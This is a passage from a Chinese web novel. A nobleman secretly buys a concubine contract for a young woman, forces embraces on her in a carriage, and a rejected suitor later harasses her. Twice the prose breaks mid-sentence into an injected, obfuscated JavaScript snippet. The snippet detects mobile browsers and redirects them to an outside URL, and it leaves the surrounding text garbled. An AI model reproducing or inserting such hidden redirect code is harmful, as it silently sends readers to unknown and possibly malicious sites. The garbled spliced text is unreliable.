在大康,鬻妾文书乃主家纳妾的重要凭证,并非一顶小轿抬回去办桌酒席,再给主母敬杯茶就完事了。 若无鬻妾文书,主家的权益便得不到任何律法的承认,妾哪天逃了也不算犯法。 简珣自认有大把的耐心驯服黄时雨,但鬻妾文书必须提前签下,一则免她被不靠谱的黄家嫁出去;二则给最坏的情况兜底。 何为最坏?自然是犟种黄时雨不肯就范,而简家回京在即,那时他会拿出文书,行使男主人的权利,迫她离开泽禾。 黄秀才颤着手燃起一盏昏黄白蜡,沉默地瞅着面前崭新的银票,每张五百两,一共两千两,大康最大的票号聚萃钱庄的,随到随取。 瞅着瞅着眼泪就落了两行。 简家簪缨世胄,简允璋前程不可估量,做他们家贵妾,在时人看来,当属黄家烧了高香,黄秀才不后悔,只是有一点恐惧。 他惧怕性烈如火的原配。 卖了她的女儿,将来下了地府,定要被她拖进十八层的,永世不得超生。 黄太太独守空房多日,正在生闷气,忽听下人来禀:“老爷请您去书房叙话。” 她立时来了精神,连忙重新梳头,描眉画眼好一阵,扭着腰儿推开了书房的门。 进去前两颊红扑扑的,半个时辰后,推门而出,已是白如缟素。 怎么会呢? 凭什么呀? 这种好事不先紧着晴娘,却给了梅娘。 黄太太双目赤红,咽干口涩,半晌说不出话来。 直到黄秀才揪着她胳膊,将人重新拽进了书房,咬牙切齿道:“你休要发疯,人不是我选的,是简家少爷自己点名。” 黄太太方软软瘫进椅子里。 这种事自然是男人自己选的,她无理取闹不过是无处发泄罢了。 如何能不痛悔呢! 原来简家也不是不能攀! 白白便宜了小狐狸精,可怜我的晴娘还一无所知,黄太太欲哭无泪。 早知如此,就该让晴娘在简允璋面前露一次脸,晴娘也不差的……黄太太长长的指甲死死陷进掌心肉里。 木已成舟,纵使再多不甘,先稳住梅娘这颗摇钱树才是重中之重,毕竟她是耀祖的亲姐姐,她好了耀祖的前程才更有说法。 至于晴娘的机会,从长计议吧,千万急不得。 黄太太好不容易说服自己,一刻也不想多待,回身冲进上房,关紧门窗才发出一声怒斥,掀翻了次间的炕几。 泽禾这一夜浓黑无月,直至破晓时分,天光骤亮,又是一日晴空万里。 西厢最右的木格窗大开,初夏微风徐徐。 琥珀在房里教黄时雨针线活。 一件鹅黄色的细布主腰,绣了葱绿的兰草,这般精致的花样黄时雨做不来,琥珀只好教她如何走针才平整。 就听柳儿进来回话:“二小姐,素秋姐姐来给你问安,顺便找琥珀姐姐。” 素秋是简珣的大丫鬟,两家互送节礼时,素秋和福生常常也要跟随而来,故而黄家除了柳儿都识得她。 柳儿晓得唤一句素秋姐姐应是福喜教的。 说给黄时雨问安是对主家的尊敬,素秋应该是来拜访琥珀的。 琥珀的一手针线活很是出名,便是简家这样见过世面的也时不时过来请教。 素秋笑吟吟地问了黄时雨的安,施礼的动作煞是好看,不似泽禾人家的奴婢那般简单随意。 黄时雨想起金主的丫鬟,她们也是这样的。 城里人的规矩真大。 黄时雨对简珣身边的人有着天然好感,寒暄两句就放琥珀同她聊去。 琥珀被人拌住了,黄时雨则兴高采烈地去了内室,于她来说针黹上的事儿,不啻牢狱之灾,唯有写字画画方能牵住自己魂儿。 琥珀很喜欢与简家这位见过世面的大丫鬟闲聊,二人来到廊下坐着,从针黹聊到了时兴的花样子,又聊了明日的庙会。 四月的庙会一共两场,规模小一些的在十五,大的则是十八。 琥珀一高兴就抖落了二小姐明日要带自己逛庙会。 素秋笑问泽禾庙会哪里有趣。 琥珀立时打开话匣子,将热闹之处细细说尽。 黄太太原就舍不得琥珀这个大丫鬟,迫于无奈才还给黄时雨,却时不时派些活下来,不是绣个帕子就是要双鞋的,恨不能榨干了她才好。 得知素秋正在西厢,黄太太方才歇了心思。 黄太太的人过不来,黄时雨就更能心无旁骛地练字。 足足写满了十页纸才停笔。 她饶有兴致地打开金主为自己挑的书,不多会儿脸就皱成了一团苦瓜。 字都认识,连起来怎么那么难懂啊,文绉绉的。 这日素秋回去复命,简珣尚在沐浴。 天热容易出汗,练完剑的少爷免不了先去净房洗漱。 她捡了个圆杌子坐在外间耐心恭候。 蕊珠捧着少爷的里衣走进来,打眼瞧见素秋,立刻问声好,相当乖巧,素秋也含笑应好。 这不是普通的丫鬟,从装束便能一眼分明,光是金钗就簪了两根,衣料更是簇新的月光绢纱,蕊珠是简珣的通房。 按夫人的意思明年乡试以后再开脸,那时的简珣只差五个月就满十七了,算大人。 现在的少爷其实也算大人了。 大康男子多数都在这个年纪成亲,但在简夫人眼里,十五岁不算,故而蕊珠分外谨慎,甚少在少爷起居的房间出现,除了为简珣做些贴身衣物,不问世事。 她将新的里衣递给伺候沐浴的小厮,隔着门向简珣福了福身,又与素秋打声招呼就匆匆离去,半刻也不敢多待。 可以说是战战兢兢了。 盖因在她前头,已经有个不懂规矩的被夫人处置了。 那位通房借口天热上身只穿了一件主腰,在少爷居室内绣花,少爷推门即目睹这番香/艳场景,吓一跳。 简夫人为此怒不可遏,当即发卖了不知死活的丫头,也是从那日起立下了更严苛的规矩。 蕊珠受到极大的震慑,再不敢有半分逾矩,只盼着明年早些到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902281|160115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 明年就可以待在少爷身边了。 一炷香后,素秋终于见到了晾干头发的简珣。 “黄二小姐格外钟爱练字读书,奴婢在她屋里坐了半天,就没瞧见其他动静。”素秋笑道,“后来借着描花样的机会,奴婢才发现她正在读《园治诗集》,怨不得一直在那里皱眉头呢,换成奴婢早就缴械投降。” 不用猜也知从谁手里弄到的书。 让她念这么难的诗集,安了什么心。 简珣拨一拨书案上的陶瓷小人,一言不发。 热闹的庙会多半人挤车碰,马轿纷纷的。 黄时雨另辟蹊径,携琥珀来到了望仙楼,品着县里最出名的点心,观望楼下的熙熙攘攘。 待庙会的重头戏拉开帷幕,望仙楼附近的游人一哄而散,涌向祈神舞的戏台子。 熙攘的街道须臾萧瑟冷寂。 往年这时候黄时雨和姐姐也会涌过去,站在外围凑趣,后来随着姐姐的婆母日渐严苛,约束她出门,黄时雨来的便也少了。 今年难得琥珀在身边,这才出门逛逛,顺便买了几包点心,正打算送去槐树巷,余光一闪瞥见个熟悉的人影。 裴盛? 她的未婚夫。 不是,准确地说是明日交换了庚帖方才正式算未婚夫的人。 她盯着裴盛,看了良久,眉头渐渐锁起。 琥珀也锁了眉。 裴盛东张西望,行迹鬼祟,手里牵着一名身怀六甲的年轻妇人,身后跟了几个仆妇,其中一个貌似奶娘的怀里还抱着个小的。 不难看出,这是一家人。 然而没听说裴家有子嗣出生,用膝盖大约也能猜出裴盛不仅养外室还有了外室子。 与此同时一道阴影笼罩下来,挡住了黄时雨右侧的光线,熟悉的君子淡香也钻进了她鼻腔。 简珣拉过附近的椅子兀自坐下,左手搭在黄时雨的椅背上,循她视线望去,“巧了,你也逛庙会呀。” “哦。”黄时雨囫囵应一声,眼眸瞬也不瞬瞪着不停催女眷上车的裴盛。 简珣沉吟道:“人家是有妇之夫,你不若收敛一些。” “才没有妇,他还没成亲!”黄时雨偏头瞪简珣,又不得不把身子往后仰,“你挤到我了。” 简珣边给她让地儿边道:“地方就这么点,你占了大半,怎么能算我挤你。” 黄时雨不吭声了,垂下脸。 定亲在即,裴盛收到一封恐吓信,不得不连哄带骗将养在外面的粉头送去田庄藏起来。 简珣原是打算邀黄时雨前去看个乐子,谁知望仙楼就是个现成的好地方,这么一坐下,悉数看个明明白白。 他欣然瞥向黄时雨,方才还精神抖擞的一个人,此时正垂着脸,泪珠扑簌往下落。 怎么又哭了? 琥珀想去安慰自家二小姐,右手却被素秋攥住了。 素秋含笑道:“有少爷在呢,咱们不必担心。” 琥珀望望她,嘴唇动了动,推开她的手,沉默地站到了黄时雨身后。 又是一场没活到交换庚帖便要无疾而终的亲事。 回回都这样,跟个闹剧似的。 人与人之间的悲欢亦不相通,简珣双眸明亮,神色愉悦,越瞧越刺目,黄时雨的眼泪也跟着越揉越多。 可一个姑娘家,大庭广众之下声泪俱下实在是不得体,于是她坐到了简珣的马车里咧着嘴哭。 “能不能小点声,你这样,旁人会怎么想我……”简珣难为情道。 黄时雨这才抽抽搭搭止了音,默默垂泪。 每落一串就被简珣以帕轻轻拭去,动作那么轻柔,又麻又痒的,她眉心轻蹙,避了又避,他的手却紧追不舍,拇指轻轻摩挲着那片柔嫩粉腮。 她的樱唇怎么真的像颗樱桃似的,莹润饱满。 简珣喉咙发紧。 下人们都守在外面,而她,已是他名正言顺的妾。 这样想着,他就朝她欺过去。 14. 第 14 章 简珣眼底泛着古怪,高大的身影笼罩而下,携着热息扑面迎来。 黄时雨不明所以,目光不可思议的盯着简珣,“你想干嘛?” 简珣眼神炽热,笑了笑,“你这里有灰,我帮你擦擦。” 说罢欲强亲芳泽。 黄时雨不疑有他,连忙低首以袖蹭了蹭被他摩挲过的地方。 简珣扑了空。 她重新仰着脸问道:“还有吗?” 简珣语窒。 车围子顶住脊梁骨极不舒服,黄时雨就横着胳膊隔开简珣,“让一让,我都没地儿坐了。” 简珣身形微顿,哑着嗓音道:“那你自己靠过来,你来我便让开……” 他的唇悬停在距离她五寸远的地方。 以黄时雨的道行,显然领悟不了其中的挑逗与暗示。 无知者无畏,她一径地推他肩膀,“你先起开呀,我要下车。” 简珣抿了唇,神情迷离又渴求着。 黄时雨恼了,奋力一推,“叫你起开呀!” 简珣就着她的力道让开了距离,“别下车,我们一起回去好吗?” 黄时雨未答,而是猛地坐直身体,回忆道:“方才,你贴那么近是什么意思?” 简珣慢悠悠道:“没意思。” 他回首掀起车窗一角,任清风灌入,吹凉发热的脑子。 黄时雨狐疑地端量着他。 少顷,简珣偏头望向她,双眸已变得澄澈,“你怎么还一脸委屈呢?” 他不说还好,一说又勾起了她泪意。 “我在想,我都这么倒霉了,你方才是不是想趁机欺负我。” “乱说。” “真的没有吗?” “没有。”他意味深长道,“你若不信,我便请你瞧瞧真正的欺负该怎么做。” 黄时雨立时不敢再追问,警惕地挪到了简珣的对面坐下。 简珣暗暗不虞,声音却放柔了,“你怎么动不动就哭,好哭鬼。” 父亲去世后,他就再也没哭过,黄时雨却能动不动就掉眼泪,像个小面人儿。 “你根本就不懂。”黄时雨吸了吸鼻子,“你见过短短二十日内连砸两门亲事的倒霉鬼吗?” 简珣讶然道:“这么惨。” 黄时雨情绪低落,怅然若失。 简珣挪到她身边坐下,“可以给我说说吗?” 她抬眼望望他,一切得从阿爹许诺的李富贵说起,再到如今的裴盛,越说越伤心。 黄时雨无非就是想定居县里,离姐姐近一些,缘何总是遇不到珍惜她的人。 她哽咽道:“阿爹前脚承诺为我选的李富贵,后脚就成了晴娘的,还拿什么两情相悦糊弄我,若非瞒着我私下相亲,那俩人何来的两情相悦。” 简珣嗯了声,“太不公平了,总该让李富贵先瞧过你再说的。” 这话深深地说进了黄时雨心坎,她对他的好感陡然倍增。 “还是你理解我。”人都愿意亲近理解自己的,黄时雨也不例外,当下就似与小姐妹打开了话匣子,“凡事总得讲个先来后到,既然先向我爹应下的我,满不满意也该先见了我再说,怎能跳过我直接见晴娘呢。” “你说的对。”简珣应承她。 “简允璋。” “嗯?” “我只跟你说过的交心话,可不许在阿爹跟前讲漏了。”她轻抿唇角。 “当然。”简珣笑着捏捏她小脸。 她额前一缕青丝随风逆扬,调皮地拂了眉眼摇曳,她伸手去摸,却慢了简珣一步,他轻轻勾起那缕青丝别于她耳后。 许是他的目光太过温柔无邪,还有他也开始对她讲交心的话,黄时雨就忘了恼他不规矩的手。 “既然梅娘都跟我交心了,那我也给你说两句交心的吧。” “不许叫梅娘。” “好,黄二。”他凝望着她天真的眼眸,“换庚帖前就发现所许之人实非良配,你一点儿也不倒霉,你是最有福气的姑娘,会有比他们强一万倍的公子珍惜你。” 黄时雨动容,迷惘眸光既憧憬又懵懂,“真的吗?” “千真万确。”简珣向她保证。 他一定会很疼她的。 简珣说话好听又贴心,三两句就把黄时雨哄得笑逐颜开,弯弯的眉眼像月牙儿。 看着她笑,他嘴角也不由上扬。 “其实,我比你惨多了呢。”哄了她开心,他就有点儿飘了,愈发地想要表现。 黄时雨“咦”了声,“像你这样厉害的公子也会有烦恼吗?” “当然。”简珣眼角微扬,“上个月,我可是被未婚妻家退了庚帖呢,你见我哭过没?” 黄时雨轻轻摇首,瞬也不瞬望着他瞳仁里映着的自己,嗫嚅道:“你,真坚强。” “那,你能像我一样坚强吗?” “嗯。” 可是揭开伤疤的简珣陡然又不坚强了,神色肉眼可见地暗淡,连眼圈也渐渐发红,黄时雨心下一跳,晃了晃他手臂,“你,你要哭了么,别伤心呀,都是我不好,不该提什么交心不交心的,交心又不是来比惨……” 简珣一把抱住她,下巴轻轻搁在她发顶,“怎么办,我好像被你濡染了,越想越伤心呢。” 她在他怀里不舒服,下意识地扭动,“你先松开我,别哭了……” 却被他搂得更紧,简珣在她耳边喘息道,“我好难受的,就让我抱一会好不好,一小会儿。” 他的声音都有丝颤抖,人哽咽的时候就会这样。 好哭的黄时雨思忍不住共情了他,百般纠结一番,她终于不再挣扎,任由他倾身将她完整的捺进了怀中。 简珣的胸膛好硬啊,尚且青涩的她承受不了这样碾压。 “简允璋,我害怕……” “为什么?” “男女有别,我们怎么可以抱在一块。” “没事的,我可以抱你,只有我可以,其他人不行,记住了么。” “为什么?” 简允璋没有回答她为什么,黄时雨无比忐忑的伏在他怀中。 欲念一旦打开了小小的缺口,就会想要更多。 可他舍不得喂梅娘避子汤,若是要了她,有了身子就很麻烦。 简珣贪婪地感受着少女每一寸的起伏绵柔。 这回他没骗人,抱了一小会就放过了她。 简珣松开手臂,挪到了对面,右手握拳抵住额头。 黄时雨恍若逃出生天,却不敢再靠近,更别说出言安慰了,唯恐他再抱自己。 片刻之后,简珣偏头看向她,“记住了,只有我才可以这样。” 黄时雨揉着胳膊,没好气道:“谁都不可以!你,也休想!” 简珣似笑非笑。 “我知道一家书铺,就在附近。”他拉起她的袖管,“走,带你去。” 庙会这般热闹的日子,简珣却带黄时雨去逛了书铺。 琥珀的脸色全程不太好看。 方才她一直留意马车上的动静,但凡传出一星点儿二小姐的呼救,她就能冲进去与简珣拼命。 琥珀今年二十五,嫁过人,有过夫君,可不是不经事的及笄小姑娘,简少爷虽未动手动脚,但眼神骗不了人的,总觉得不清白,却又理不出个头绪。 她打定主意,回去悉心劝导,以期二小姐长点心。 云泥之别的门第,简少爷千好万好也好不到二小姐头上的,除非二小姐想做妾。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14902282|160115||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 泽禾县的书铺自是不能与京师的比,但对黄时雨而言足够了,这里既有刻本亦有手抄,琳琅满目,据小二介绍还有不少当世名家的真迹。 黄时雨踮着脚去够架子上的《文公散集》。 “我帮你。”简珣站她身后轻松取下,递给她。 翻了几页她便皱了眉,这本文公并无好看的插图。 “你在找插图?”简珣问。 黄时雨点点头,“华山长的就有,可好看啦,每一朵兰花都栩栩如生……” 她指的神韵。 尽管整幅画儿仅有从白到黑的过度,却能使观赏之人身临其境,忘情与笔者神交的韵。 此后再难忘却。 简珣温柔地打量她,“想不到你如此讨他老人家欢心,连书册也舍得拿出来分享了。” “原来他老人家不止对我小气巴拉的。”黄时雨恍然大悟。 逛了一圈,她只买了些笔墨宣纸,竟无一本书册能入她的眼。 主要是起点太高,从一开始她接触的书册便是《文公散集》《园治诗集》等等,质量更是上乘的手抄或刻本,甚至包含真迹,又怎可能再看上寻常的。 简珣却挑了两本大康极受孩童喜爱的小诗集。 黄时雨不解道:“你已经长大了,还看这个吗?” 简珣含笑道:“是给你看的。” “我又不是小孩。” “你是。” “你也没多大。” “比你大。” 回程的路上,琥珀又被素秋一把拉住,“好姐姐,我们坐后面这辆马车。” 车厢到底不如房间宽敞,多个人极有可能影响主子休息,因而若无主子吩咐,仆婢往往不会登车同乘。 琥珀不虞道:“可是我家二小姐还在车上,我不过去岂不是要与简少爷独处了。” “独处是应该的,”素秋漫然扫她一眼,“姐姐若不信自可以回家请黄老爷做主,倘或大家都觉得没问题的事,反倒姐姐一人认死理,未免也太为难旁人苦了自己。” 琥珀凝噎,脚步趔趄了一下。 马车上,简珣教黄时雨读书。 适合十岁下孩童的书册读起来明显比《园治诗集》流畅,前者遇到难懂的生涩句子,黄时雨稍一琢磨便可自行理解。 简珣亲自讲于她听,则更多几分妙趣。 黄时雨聚精会神的,渐渐放下了与他独处的别扭。 冷不防简珣轻声道,“你瞧,我也不比思渊差的。” “你俩都是天上闪闪发光的文曲星,在我心里不啻大神大佛呢。”为表诚心,黄时雨还双手合十。 “那你觉得我与他,谁更厉害呢?”简珣笑着问。 这个问题好难回答。 情理上讲,简珣是自己人,说话当然得偏着他,但金主待黄时雨也不薄,等同老师,为人哪能不敬师长,说他不如简珣则是大逆不道。 可要说简珣不如他吧,以后定然也不会再有人指点自己学问。 黄时雨支支吾吾半晌,才道:“你比思渊平易近人呢。” 简珣含笑的眸子就冷了。 黄时雨迅速瞥他一眼,掌心在膝盖上画着圈。 沉寂须臾,他终于启音:“梅娘。” “不许……” “为何不许?” “我们姑娘家的乳名只有家人和心上人才能叫的。” 简珣一滞,垂眸不再说话。 黄时雨语重心长地数落他,“我可是把你当朋友才没生气的,换个人那就不一定了,你怎能乱喊女孩子乳名,真真是轻佻,就不怕你的鸢娘听了失望吗?” 简珣幽幽道:“她是名门闺秀,幼承庭训,规行矩步,自有宗妇之仪。” 22-30 第22章 欺师 “你平素也不是这么张扬,突然穿成这样,我都觉得你有点俊了。”黄时雨嘴巴比脑子快。 简珣眼角微挑。 黄时雨讪笑,虽说互夸略显刻意,但她说得也是实话呀,他本来就很好看。 简珣望着她尚攥着自己衣袖的小手,轻声道:“我可以经常穿给你看的。” 外面不宜惹眼,私下张扬便张扬吧,被她称赞的感觉奇异地爽…… 不意她的手忽然离开,把隔着单薄绢罗传于他的热气也抽走了,余下微凉。 黄时雨兴奋地指向窗外,回首对简珣道:“快看,是芍药欸!” 没想到七月份也有芍药! 简珣凑近了循着她细嫩的指端望去,一片绚烂如荼的芍药扑入眸中,这是一辆专门运送鲜花的车驾,顶上设了宽大的遮阳棚。 “它们是晚开的玉冰和胭脂红染。”简珣随口闲聊的话增长了她的见识,这种增长是潜移默化,润物无声地,“城里七夕往往设花宴,花农才赶了大早往主家运送。” 原来今日是七夕。 不过在黄时雨眼里没甚特别,泽禾又没有花灯会,她也没订过亲,根本共鸣不了简珣的期待与暗示。 黄时雨趴在窗口,如痴如醉,“花宴,这么多芍药堆在一处,岂不是像仙境一样。” 若是有机会临摹便好了。 她已经在陶醉,简珣一手撑在窗沿,胸膛挨着她单薄又柔软的小小肩头,乍一望去,好似拥她在怀。 “喜欢的话就跟了我吧。”简珣鬼使神差道,声音比任何时候都诱惑,“往后每年我都为你办花宴,春夏秋冬随你喜欢,你想要什么彩墨我也买予你好不好?” 黄时雨如遭雷击,偏头仰起脸望定他,愕然不已,“你在说什么鬼话?” 简珣紧张地往外冒汗,喉头越发干涩,嗡声道:“你不是很喜欢同我一起玩么,我可以陪你去做那些你想做却又做不了的事,我……我会照顾你的。” 黄时雨觉着此时此刻不是自己在发癔症就是简珣在发。 她不解地问:“好端端的,你为何要与我成亲?” 成亲? 简珣愣在原地,那些冒出的热汗渐渐就变成了冷汗,他冷汗涔涔,无数话语堵在了喉头,竟是一句也不敢说。 原来他根本没有胆量对黄时雨说:不是成亲,是纳妾。 黄时雨张开五指,在愣怔的简珣脸前晃一晃,“你干嘛,动不动就说奇奇怪怪的话,说完了自己又开始发呆。” 话音未落,身子就陷进了简珣的怀中,拢得那么紧。 黄时雨受惊,不禁乱扭乱挣。 简珣闭目道:“别动也别叫,你听我说,我真的会对你很好。” “撒开呀,失心疯了吧你!”黄时雨被他箍住使不出半分力气,小嘴一扁,“好痛!” 听见她叫痛,简珣心头一跳,就松了手忙去检查她胳膊,胸口立即挨了一拳。 她张牙舞爪的。 简珣攥着那只小拳头,“等会再打我好不好,我们认真谈谈吧。” 黄时雨咧了咧嘴,眼见就要哭出来,简珣心颤,忙从袖中翻出帕子,“你别怕,我不会伤害你的,从小到大不都是你打人,我何时对你动过粗?我又没有恶意,还不是见你太喜欢芍药,又喜欢群青,这得多烧钱,你喜欢的都是最最烧钱的,你若不跟了我,我,我……” 他惯会哄骗她的,今儿却是说什么都结结巴巴,神思窒顿,搜肠刮肚道:“男人只能给自己的女人花钱,你不做我媳妇却花了我的钱,说出去要被人耻笑的。” 他一通胡诌,慌不择言,连“媳妇”二字也说了出口,“我还不都是为了方便多予你些好的罢了,你怎又哭又闹又打人,真不讲理……” 黄时雨含泪望着他,脑子被他的胡诌绕得些微发晕,“你说的可是真话?” 换成从前她必定深信不疑的。 可是自从听了琥珀和姐姐的话,方知世上男子可以将一颗心掰成好几份。 简珣也是男的,说过心有所属不假,却不代表他的心不可以分开用。 简珣切切地回她,“当然是真话!你可知本朝群青一般要拿黄金去购,做画师远比读书费钱,你一个女孩子哪来那么些钱财,我就不一样,我有很多……” 金钱与外貌这些俗气又肤浅的东西,如今竟成了他努力取悦她的法宝,“你瞧,我还给你准备了礼物。” 他揭开悉心包裹的绸缎,拿出为她准备的画册,只翻开了一页,黄时雨尚且泪盈盈的眼眸倏然睁大。 那远山,那薄雾,凝结了人世间最为梦幻的色彩与风景。 未来画师的本能,令她无法抗拒与天赋发生了响应地极致诱惑,终于颤颤地伸出素手,缓缓摩挲青绿色的云山。 简珣柔声道:“这是青绿,以孔雀石炼化,由浅至深,水秀山明,送给你,权当半个《文公散集》,可不可以不要再生我的气了?” 她垂眸,吸了吸酸酸的小鼻子。 趁她犹豫,简珣将画册慎重地放在她怀中。 黄时雨的脑子乱纷纷,搂着那本《砌园胜景册页》,再次妥协,轻声问道:“那,那当你媳妇,你就会给我买吗?” 简珣面色一白,动了动嘴唇,陷入了沉默。 迟迟没有得到回答,黄时雨目光投向他。 心想他应是反悔了,便不再追问。 须以黄金来购买的东西,如此烧钱,她也是头一回听说。 真是昏了头。 话说简珣同意了,她也不能够啊。 回去之后黄时雨翻来覆去,连续好几晚都在思念那些不属于她的绮美之色。 这个向来低欲妄的姑娘,无意中闯入了画师的结界,才将将站在门口,已是生出了无限野妄。 她渴慕着人世间的至美,在现实中留存幻影。 有钱真好呀。 人一旦有了念头,便会痴心妄想,靠着这股劲就会越发向上。黄时雨收起了往日随波逐流、随遇而安的性子,整日不是练字作画便是在后院做些力所能及的活,此外还得挤出空闲请教花掌柜术算。 黄秀才规矩大,却不反对儿女学术算。这是门能吃饭的手艺,学会了管账,也就学会了管自己的日子,不至于被人当瞎眼的蒙混,因而花掌柜教起来颇用心。 黄时雨悟出了画师的精髓,首先得学会立世求生的本领,才有精力财力徜徉。 买不起昂贵的设色绢本,她一直用最普通的宣纸水墨。 柳儿作为唯一的拥护者,对她痴迷有加,总能轻易地感受到她画里欲言又止的留白。 因为一门心思钻营,几乎要把金主这个人忘了。 若非惦记华山长的《文公散集》,黄时雨连餐也不想送。 十七单日,她匆匆送去舍馆,华山长的小厮一直都知晓她是个女的,却是头一回见她穿裙子,缎子似的浓密青丝编了一把松而不散的单股波纹辫子垂在右肩,耳着玉铛,鬓边随意地别了一朵浅黄小绒花,好像仙女呀。 他挠了挠后脑勺,嘻嘻笑道:“黄姐姐,许久没见了。” 称呼从黄二姑娘变成了黄姐姐。 黄时雨也寒暄一句,笑着塞了他一包点心,问:“山长还没起床吗?” “不去学馆他老人家经常晚起。”小厮道。 不去学馆又晚起,今日的《文公散集》看不成咯。 但家里还有《砌园胜景册页》,黄时雨辞别小厮,踩着晨露匆匆而归。 金主迎面走来,也步履匆匆,两人各自怀着心事,谁也没瞧见谁,就这么错身而过。 她是个没心没肺的,金主却还存有印象,走着走着,步子缓了下来,忽然调转脚头一口气追上她。 “别以为穿条裙子我便认不出你呢,今儿算起我已经到了书院二十日,就没见你过来请个安!不是吧,天下的学生都似你这般,简直是礼乐崩坏。”韩意淮板起了脸。 黄时雨被“礼乐崩坏”的帽子压得一个趔趄,定睛细看,竟是金主,连忙狡辩道:“那可就冤枉了好人,谁说没请安的,分明是我请的时候你不在。” 她确实来过,还书的,也怪他当时忘了直言赏她。 但意思已经很明显,谁晓得她这么钝。 韩意淮没好气道:“一时不在还能天天不在,你这个人,简直欺师灭祖。” 黄时雨“啊”了一声,怎么愈发地严重,虽拿不准金主的用意,不过瞧起来倒也不像是恶意。 她动人的眼睛偷偷觑了觑韩意淮脸色,斟酌道:“其实吧,也不是我不想请,实在是铺子忙不开,你瞧,天才发白我就赶过来送餐呢,连念书的闲暇都没了,要不下个月吧,下个月开始每逢初一十五我就过去给你问安哈。” 怨不得她一直不来找自己,原来没空念书了。韩意淮有些失落。 又见她压低了声音说话,他配合地弯身俯就,领间散开阵阵极淡的皂香与一种介于清茶和木质的熏香。 黄时雨觉得很好闻,但正事要紧,假作出后怕的神色,“上回你去铺子里寻我,险些害死我的。” 韩意淮诧异道:“啊?” 黄时雨轻轻跺了跺脚,“我阿爹乡试屡次不中,受了莫大的刺激,从此对书本由爱生恨,定下不许我们再念书的规矩,我都是偷偷的,懂吧?” 韩意淮点点头。 “以后你可千万别再去找我,更不能说什么读书不读书的,传进阿爹耳朵里,我可就……” 她对着自己脖子做了一个咔嚓的动作。 韩意淮“哦”了声,怔怔望着她脖颈。 “那我先回去了,思渊兄保重。” “你……” 在他失神的几个瞬间,黄时雨已经提着食盒飞快地溜走。 她怎么哄孩子似的敷衍他? 韩意淮蹙着眉心转过身,慢腾腾走向洗砚门。 第23章 美人 这一天天的,不省心的事儿一茬接着一茬,这头方解决了金主的潜在隐患,另一头丐婆立刻来惹事。 黄时雨前脚才踏进后院,迎面就撞上了慌慌张张的花婶,“外面打起来了!” 紧接着对黄时雨道出前因后果。 原来丐婆今日又在大槐树下重操旧业,也不知对客人胡咧咧了什么,惹得对方大动干戈,如今正在门口挨揍。 “那位客人本来是要进店吃甜水,也怪我们新来的小伙计没留神拦人,可不就给丐婆机会跟进来,她三两句便把那客人诓出去,嗐!”花婶狠狠跺脚,都想加入战局了。 其余客人怕沾事当时就走了七七八八,余下的也不真心用汤,反倒堵在门口瞧热闹,目前生意也做不成了,还可能面临门口死人的巨大风险。 那么大年纪的老太婆,平时就一副要死不死的模样,如今被年轻气盛的儿郎拳打脚踢,怕不是当场就西去。 花婶急得团团转。 黄时雨将食盒塞她手里,匆忙穿过后厨和大堂,费力地扒开人群。 老话说得好:破屋经塌。风烛残年浑身是伤的丐婆只是看起来不堪一击,却怎么打也打不死,非但没被打死还跳起来反打裴盛。 此裴盛正是前头那位差点与黄时雨定亲的裴家小霸王。 也不知他抽哪门子邪风,跑来了鹿锦书院。 黄时雨躲在后面,与花掌柜交换一个眼神,花掌柜意会,上前赔笑道:“这位少爷消消火,秋干气燥的,不若进小铺喝杯舒肝明目的凉茶,您身子多娇贵,犯不着跟腌臜乞丐掰扯,她哪里配得上您亲自教训呀,还望少爷行个方便。” 说罢拱手作揖。 做生意的都能屈能伸,以和为贵。 裴盛想了想,终于停手。 他今日并非来砸场的,于是卖了花掌柜一个面子。 黄时雨悄然溜进了屋内。 裴盛又不念书,无端出现九成是冲着她来的。 两家亲事告吹,莫非是要打击报复? 裴盛此行确实为黄时雨而来。 口头约好的亲事,黄秀才翻脸不认,他越想越不甘心,最终聘礼提到了两千也未能挽回。 两千都不成,怕不是被更有钱的主儿截了胡。裴盛怒不可遏,先是安排两个闲汉留在泽禾盯着黄家,又花去不少银钱打点,却也没发现黄家再与谁定亲。 奇了怪了。 他气冲冲寻到甜水铺子,不意没见着佳人倒先沾上晦气的老丐婆。 臭丐婆胡言乱语可劲儿败他的大好兴致。 这他能忍? 裴盛飞过去一顿拳打脚踢。 现下出完气,他深觉失礼,多少影响到了自己在黄二小姐心中的风采。 因而花掌柜一出面,他就顺阶爬下,并扬言承担今日客人的全部花销,权当陪罪。 看客们得了便宜,立即蜂拥店内,直夸裴少大气,铺子重新忙碌起来。 此事告一段落。 黄时雨与花家婆媳面面相觑。 最后由花婶出面将丐婆扶回铺子后院。 裴盛鬼鬼祟祟地跟在花婶身后,绕到后院的大门口,果然瞧见了黄时雨。 他如获至宝,凑上去,“妹妹,你怎地不在泽禾,可苦了我。” 黄时雨抄起柳儿的扫帚,一张芙蓉面上满是厌憎,“谁是你妹妹,休要在这里失心疯,你再走过来我可就不客气。” 竟是个小泼辣货,更喜欢了,裴盛一面躲避劈头盖脸的扫帚一面叫嚷,“别恼哈好妹妹,其实我是个斯文人,就是来寻你说说话,并没有恶意。” 说话间,他已硬生生挤开琥珀,凑到黄时雨脸前,嬉皮笑脸的,却趁黄时雨不备抢手夺过扫帚,“这个打人还怪疼的,我先帮妹妹收着。” 他想顺手再掐一把姑娘的小软腰,谁知自己的腰子忽地刺痛。 